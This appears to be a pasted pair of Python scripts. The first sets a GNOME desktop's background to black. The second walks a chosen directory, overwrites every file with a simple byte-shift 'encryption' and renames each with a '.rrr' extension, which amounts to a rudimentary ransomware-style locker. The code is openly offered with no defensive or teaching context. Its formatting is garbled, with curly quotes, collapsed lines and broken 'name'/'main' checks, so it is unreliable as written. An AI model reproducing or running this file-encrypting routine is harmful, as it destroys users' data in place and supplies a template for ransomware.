$$$$

import subprocess

def change_wallpaper_to_black(): # Command to change wallpaper using gsettings command = “gsettings set org.gnome.desktop.background primary-color ‘#000000’”

try:
    # Execute the command
    subprocess.run(command, shell=True, check=True)
except subprocess.CalledProcessError as e:
    print("Error:", e)

if name == “main”: change_wallpaper_to_black()

import os

def encrypt_file(file_path): # Open the file in read mode with open(file_path, ‘rb’) as f: data = f.read()

# Define the encryption key (for demonstration purposes)
encryption_key = 5

# Encrypt the data by shifting ASCII values
encrypted_data = bytes([(byte + encryption_key) % 256 for byte in data])

# Write the encrypted data back to the file
with open(file_path, 'wb') as f:
    f.write(encrypted_data)

# Change the file extension to .rrr
os.rename(file_path, file_path + ".rrr")

# Print the encrypted file path
print(f"Encrypted: {file_path}.rrr")

def encrypt_directory(directory): # Iterate over all files in the directory for root, dirs, files in os.walk(directory): for file in files: file_path = os.path.join(root, file) encrypt_file(file_path)

if name == “main”: directory_path = input(“Enter the directory path to encrypt files: “) encrypt_directory(directory_path) print(“Encryption and extension change complete!”)